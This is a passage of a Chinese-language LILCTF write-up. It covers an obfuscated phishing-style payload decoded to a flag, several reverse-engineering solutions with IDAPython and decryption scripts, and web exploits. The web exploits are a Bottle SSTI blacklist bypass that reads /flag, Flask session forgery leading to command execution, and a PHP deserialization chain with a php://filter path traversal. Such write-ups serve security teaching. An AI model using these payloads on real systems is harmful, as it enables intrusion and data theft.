e+$g$l$e+$g$b$q$u+$g$b$u$d+$g$b$u$l+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$e$u+$g$l$e+$g$b$u$i+$g$b$b$d+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$o+$g$b$b$b+$g$b$b$q+$g$e$e+$g$b$b$b+$g$b$b$d+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$x+$g$e$z+$g$e$x+$g$x$e+$g$i$o+$g$e$u+$g$b$q$z+$g$d$x+$g$d$b+$g$l$d+$g$i$x+$g$e$z+$g$b$u$z+$g$b$u$i+$g$e$x+$g$x$d+$g$b$b$u+$g$i$o+$g$l$d+$g$x$d+$g$d$o+$g$d$q+$g$b$u$d+$g$e$i+$g$i$z+$g$b$b$x+$g$l$d+$g$i$u+$g$b$u$o+$g$o$l+$g$d$z+$g$b$u$o+$g$e$z+$g$b$b$u+$g$d$e+$g$b$q$d+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$b$u$q+$g$e$u+$g$o$l+$g$e$z+$g$x$d+$g$d$q+$g$d$e+$g$e$b+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$e$i+$g$o$i+$g$b$b$q+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$d$i+$g$o$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$x+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$b$b$b+$g$b$u$i+$g$l$e+$g$b$b$d+$g$z$o+$g$o$o+$g$z$q+$g$d$o+$g$d$q+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$z$x$i$q$d+$g$z$e$z$q$o+$g$q$e$i$u$l+$g$q$x$z$e$e+$g$z$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$x$d$z$u$e+$g$z$x$i$q$d+$g$q$u$u$b$u+$g$z$b$z$i$z+$g$q$b$o$e$d+$g$q$x$b$d$l+$g$q$o$d$l$u+$g$q$u$u$o$u+$g$q$u$l$i$x+$g$q$l$x$b$x+$g$z$u$z$o$u+$g$q$b$x$u$q+$g$x$d$q$l$q+$g$b$u$q+$g$b$u$i+$g$l$e+$g$b$u$z+$g$z$q+$g$q$z$x$u$b+$g$q$q$z$b$q+$g$z$e$u$q$e+$g$z$e$z$q$o+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$u+$g$d$q+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$i$o+$g$b$u$b+$g$b$q$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$z$u$u$u$d+$g$z$z$u$o$b+$g$q$z$d$d$i+$g$q$q$z$b$q+$g$z$q+$g$o$l+$g$o$i+$g$z$q+$g$q$u$l$l$i+$g$z$i$u$o$e+$g$q$b$d$b$i+$g$q$u$i$d$b+$g$q$x$o$q$x+$g$x$d$q$l$q+$g$z$d$i$z$b+$g$q$u$o$o$d+$g$q$z$z$i$o+$g$q$u$z$q$u+$g$z$u$z$o$u+$g$q$o$u$z$e+$g$q$u$z$b$x+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$x+$g$b$b$b+$g$l$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$i$u+$g$b$b$b+$g$b$u$d+$g$b$b$u+$g$b$b$x+$g$o$u+$g$d$o+$g$d$q+$g$o$o+$g$z$q+$g$d$b+$g$o$i+$g$o$i+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$x$d+$g$b$b$e+$g$b$b$x+$g$b$b$b+$g$i$z+$g$b$u$d+$g$b$q$q+$g$b$u$b+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$b+$g$x$e+$g$b$b$b+$g$b$u$i+$g$b$b$b+$g$b$b$o+$g$z$q+$g$x$b+$g$z$q+$g$z$o+$g$i$e+$g$b$u$o+$g$b$u$d+$g$b$b$x+$g$b$u$b+$g$z$o+$g$b$z+$g$b$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$z$q+$g$x$b+$g$z$q+$g$e$i+$g$b$u$b+$g$b$b$l+$g$o$d+$g$e$l+$g$l$i+$g$b$u$x+$g$b$u$b+$g$l$l+$g$b$b$x+$g$z$q+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$x$i+$g$b$b$o+$g$l$e+$g$b$b$l+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$o$u+$g$z$o+$g$q$o$o$l$o+$g$z$x$e$b$l+$g$z$i$d$l$e+$g$o$u$x$d$e+$g$z$o+$g$o$o+$g$z$q+$g$o$l+$g$d$o+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$e+$g$b$b$b+$g$b$b$u+$g$b$b$x+$g$b$b$o+$g$b$b$b+$g$b$u$i+$g$b$b$d+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$i$q+$g$l$e+$g$b$b$u+$g$b$u$z+$g$b$u$b+$g$o$u+$g$x$o+$g$o$u+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$o$l+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$u+$g$o$o+$g$z$q+$g$z$x+$g$e$x+$g$l$e+$g$l$i+$g$b$u$b+$g$b$u$i+$g$d$b+$g$o$b+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$b$b$u+$g$o$u+$g$b$q$z+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$l$l+$g$b$b$x+$g$b$u$d+$g$b$b$i+$g$l$e+$g$b$b$x+$g$b$u$b+$g$o$u+$g$o$b+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$x$d+$g$b$u$u+$g$b$u$u+$g$l$d+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$x$e+$g$b$u$i+$g$b$b$b+$g$b$b$d+$g$b$u$d+$g$b$b$u+$g$b$u$z+$g$o$u+$g$b$q$z+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$z$x+$g$l$d+$g$o$x+$g$x$e+$g$l$e+$g$b$b$u+$g$l$l+$g$b$u$b+$g$b$u$i+$g$z$q+$g$x$b+$g$z$q+$g$z$x+$g$i$o+$g$b$b$o+$g$b$b$e+$g$b$u$b+$g$b$z+$g$b$u+$g$z$q+$g$z$q+$g$z$q+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$l$z+$g$d$i+$g$d$i+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$o$u+$g$z$o+$g$b$l$l$i$b+$g$q$u$i$u$b+$g$z$d$e$x$i+$g$q$u$i$d$b+$g$z$i$z$i$b+$g$x$d$q$i$b+$g$z$o+$g$o$o+$g$z$q+$g$z$o+$g$q$d$d$d$q+$g$z$b$u$z$o+$g$z$o+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$x$x+$g$b$b$e+$g$b$b$x+$g$b$b$x+$g$b$b$b+$g$b$b$u+$g$b$b$d+$g$l$z+$g$d$i+$g$d$i+$g$e$l+$g$e$d+$g$o$o+$g$z$q+$g$l$b+$g$i$z+$g$b$q$b+$g$b$b$d+$g$b$b$x+$g$b$u$b+$g$b$u$l+$g$o$x+$g$i$e+$g$b$u$d+$g$b$b$u+$g$b$u$u+$g$b$b$b+$g$b$b$l+$g$b$b$d+$g$o$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$b$b$d+$g$o$x+$g$e$e+$g$b$u$b+$g$b$b$d+$g$b$b$d+$g$l$e+$g$b$u$z+$g$b$u$b+$g$x$x+$g$b$b$b+$g$b$q$u+$g$e$z+$g$l$l+$g$b$b$b+$g$b$b$u+$g$l$z+$g$d$i+$g$d$i+$g$e$z+$g$b$b$u+$g$b$u$q+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$l$e+$g$b$b$x+$g$b$u$d+$g$b$b$b+$g$b$b$u+$g$o$b+$g$b$z+$g$b$u+$g$b$q$d+$g$o$b+$g$b$z+$g$b$u+$g$b$z+$g$b$u+$g$z$x+$g$e$u+$g$b$b$b+$g$b$b$o+$g$b$u$l+$g$o$x+$g$i$z+$g$b$u$o+$g$b$b$b+$g$b$b$l+$g$x$i+$g$b$u$d+$g$l$e+$g$b$u$i+$g$b$b$b+$g$b$u$z+$g$o$u+$g$o$b+$g$z$q+$g$b$q$o+$g$z$q+$g$e$l+$g$b$b$e+$g$b$b$x+$g$o$d+$g$e$i+$g$b$b$e+$g$b$u$i+$g$b$u$i'''

)

# 移除表达式中的空格和换行符
clean_expr = long_expr.replace(" ", "").replace("\n", "")

# 分割表达式为单独的项
items = clean_expr.split('+')

# 存储ASCII码列表
ascii_codes = []

for item in items:
    # 移除开头的$g
    if item.startswith('$g$'):
        item = item[3:]

    # 分割变量名
    var_names = [v for v in item.split('$') if v]

    # 构建数字字符串
    num_str = ''.join(var_map[name] for name in var_names)

    # 转换为整数并添加到列表
    ascii_codes.append(int(num_str))

# 将ASCII码转换为字符
decoded_str = ''.join(chr(code) for code in ascii_codes)

# 提取flag(格式为LILCTF{...})
start_idx = decoded_str.find('LILCTF{')
end_idx = decoded_str.find('}', start_idx)

if start_idx != -1 and end_idx != -1:
    flag = decoded_str[start_idx:end_idx + 1]
    print("提取到的Flag:", flag)
else:
    print("Flag未找到,请检查解析结果")
    print("解析后的字符串:", decoded_str)

得到LILCTF{83_VIglLAnT_A64iNSt_Ph15hIn9}

obfusheader.h

花指令全是jz xxx +1

直接用idapyton去


import idc

def patch_six_bytes(start_ea, end_ea):

    target = [0x48, 0x31, 0xC0, 0x74, 0x01, 0x00]  # 要匹配的字节序列

    count = 0

    ea = start_ea

    while ea < end_ea - 5:  # -5 保证可以读取 6 个字节

        bytes_here = idc.get_bytes(ea, 6)

        if bytes_here == bytes(target):

            # 修改最后一个字节为 0x90

            idc.patch_byte(ea + 5, 0x90)

            count += 1

        ea += 1

    print(f"ok, patched {count} places")

start_ea = 0x140001000

end_ea   = 0x14003D1F3

patch_six_bytes(start_ea, end_ea)

出题人你是人啊,想去混淆想了一天

 

有个%100占位符

 

过去看调试这里就是输入

 

在这里下读写断点,开始调试

 

有个长度判断

尝试输入长度为40才能进入下一步

 

直接f9走到下一步,有个xor

 

把xor的密文拿出来

 

和输入亦或一下得到key

 

再往下有个高低交换

 

再往下就是密文

 

orig = bytes.fromhex("5CAF B01C FCEF C78F 01DF 3439 13CB 472D 0C7E FFFA AA0D D0FA F868 83FD F6AA 061C CE7B 25AC 67BB DF1B".replace(" ", ""))

rand_bytes = bytes.fromhex("76 4c b8 7d 64 47 f8 50 a7 43 c8 33 87 67 d4 69 7e 4c 41 61 64 40 a5 0f 13 4d a9 7f f9 21 c0 5c 76 17 9e 75 fd 01 4c 33".replace(" ", ""))

def swap_nibbles(b):

    return ((b & 0xF) << 4) | ((b & 0xF0) >> 4)

#逆第二步:swap(~b)

postrand = bytes([swap_nibbles((~b) & 0xFF) for b in orig])

# 按 16-bit 小端,用 rand_words 逆 xor

plaintext = bytearray(len(postrand))

for i in range(len(postrand)//2):

    word = postrand[2*i] | (postrand[2*i+1] << 8)

    rword = rand_bytes[2*i] | (rand_bytes[2*i+1] << 8)

    orig_word = word ^ rword

    plaintext[2*i]   = orig_word & 0xFF

    plaintext[2*i+1] = (orig_word >> 8) & 0xFF

print(plaintext.decode())

Qt_Creator

观察程序行为,输入flag后,正不正确都会退出

所以在ExitProcess下个断点,看调用堆栈

 

查看用户模块,发现是从用户模块的exit来的

 

 

断在这继续看堆栈

 

发现call一个exit

 

这里就是用户模块的地址了

ida打开看这个地址

发现是和v20做一个校验

 

往上看,v20只被一个地方操作过

 

但是我一开始对qt这玩意不熟不知道是什么东西(对qt都不熟,逆向好久才逆出来)

dbg在这下个断点,跟进去看看

 

 

esi就是flag

 

Oh_My_Uboot

mcp找到一个函数

 

sub_60813E3C(v7, v6);对密文操作

 

有个xor

 

这里创建了一个从48-105的表

 

base58

 

 

Web

ez_bottle

运行源码会在本地创建一个uploads文件夹

upload接口上传一个zip,对他计算md5在解压,最后利用

/view/<md5>/file 

这个文件内容渲染,这里有SSTI漏洞

写入的路径也确定了 ./uploads/已经生成的md5文件夹/文件名

黑名单ban了挺多,但是没ban template函数,直接套娃二次调用template进行SSTI。黑名单绕过就用base64编码



BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",    
              "get", "open"]    
    
    
def** contains_blacklist(content):    
    **return** any(black **in** content **for** black **in** BLACK_DICT)

第一次随便传一个文件上去访问 第二次上传命令执行读取flag,他返回一个you are hacker!!!nonono!!!,但是他可以读取ls命令的结果。所以应该是出网被当作特征码处理了。

给文件内容编码下读取即可

exp:


    
**from** bottle **import** template    
    
**import** base64    
    
t=b"""    
    
% import os    
% import base64    
% s=open("/flag","rb").read()    
% t=open("uploads/04ede8164865f92de870031edf992769/10.txt","wb+")    
% t.write(base64.b64encode(s))    
% t.close()    
"""    
_#you are hacker!!!nonono!!!_    
print()    
payload=f"""    
% import base64    
% from bottle import template    
% s=base64.b64decode({base64.b64encode(t)}).decode();    
% template(s)    
    
    
"""    
print(payload)

文件上传代码

**import** requests    
**import** re    
    
url="http://challenge.xinshi.fun:41973/upload"    
_# url="http://127.0.0.1:5000/upload"_    
_# proxy={"http":"http://127.0.0.1:8080"}_    
    
r=requests.post(url,files={"file":("xxxxz.zip",open("1.zip","rb"))})    
    
res=r.text    
print(res)

获取flag: LILCTF{B0ttle_hAS_been_RecyCIeD}

 

Ekko_note

年年给fake key,今年给个真的有点不适应。那Token这辈子也不爆了

admin_super_strong_password = token_urlsafe()    
app = Flask(__name__)    
app.config['SECRET_KEY'] = 'your-secret-key-here'  //这个key是真的,不是fake  
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'    
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

用SECRET_KEY 伪造一个admin session直接进然后去/admin/settings改设置,进去可以看见他有一个url访问给你一个json数据,主要的是date。

response = requests.get(user.time_api)_#_    
data = response.json()    
datetime_str = data.get('date')    
**if** datetime_str:    
    print(datetime_str)    
    current_time = datetime.fromisoformat(datetime_str)

所以只要挂个{“date”:“2077-08-15 18:47:26”}值即可

在vps上创建一个index.html文件,输入{“date”:“2077-08-15 18:47:26”},使用python3 -m http.server 20000 开放端口。最后给原本读取时间的url改成http://你的vpsip:20000/ 即可

之后访问/execute_command就有正常功能,没回显想到了上一个web也是没回显用静态文件拿回显,flask app.py目录下的static目录文件可以直接访问,mkdir 一个,然后ls /flag > ./static/t.txt读取即可

 

 Your Uns3r

绕过二选一

admin==0  _//true_

开局二选一选Access”:

绕过 字符拼接

cd ../xxxx/../ 等于 cd ../

resource=./lilctf/../flag 一个一个找就好了

绕过 throw new Exception("nonono!!!");

array(0=>obj,1=>null)_//__把他序列化在把__1__改成__0_ 提前释放对象。__GC__回收引用没了被释放了

数组生成的序列化,第二个i;1;N改成i;0;N

最后url编码下发包

exp


**<?php**    
    
**class** User    
{    
    **public** $username;    
    **public** $value;    
}    
    
**class** Access    
{    
    **protected** $prefix;    
    **protected** $suffix;    
    
    
    
    **public** **function** setPrefix($prefix)    
    {    
        $this->prefix = $prefix;    
    }    
    
    
    **public** **function** setSuffix($suffix)    
    {    
        $this->suffix = $suffix;    
    }    
}    
    
    
    
$a=**new** User();    
$a->username=0;    
_//_    
$b=**new** Access();    
$b->setPrefix("php://filter/read=convert.base64-encode/resource=./");    
$b->setSuffix("/../../../../flag");    
$a->value=serialize($b);    
_//_    
_//_    
$s=array(0=>$a,1=>**null**);    
$c=urlencode(serialize($s));    
_//echo $c;_    
_//#a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A88%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A21%3A%22http%3A%2F%2Fwww.baidu.com%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A3%3A%22123%22%3B%7D%22%3B%7Di%3A0%3BN%3B%7D_    
**echo** urldecode('a%3A2%3A%7Bi%3A0%3BO%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bi%3A0%3Bs%3A5%3A%22value%22%3Bs%3A133%3A%22O%3A6%3A%22Access%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00prefix%22%3Bs%3A51%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D.%2F%22%3Bs%3A9%3A%22%00%2A%00suffix%22%3Bs%3A17%3A%22%2F..%2F..%2F..%2F..%2Fflag%22%3B%7D%22%3B%7Di%3A0%3BN%3B%7D');    
_//_    
_//$t="php://filter/read=convert.base64-encode/resource=a.php";_    
_//include $t;_

http:

POST / HTTP/1.1  
Host: challenge.xinshi.fun:32830  
Content-Length: 373  
Cache-Control: max-age=0  
Origin: http://challenge.xinshi.fun:32830  
Content-Type: application/x-www-form-urlencoded  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Referer: http://challenge.xinshi.fun:32830/  
Accept-Encoding: gzip, deflate, br  
Accept-Language: zh-CN,zh;q=0.9  
Connection: keep-alive  
  
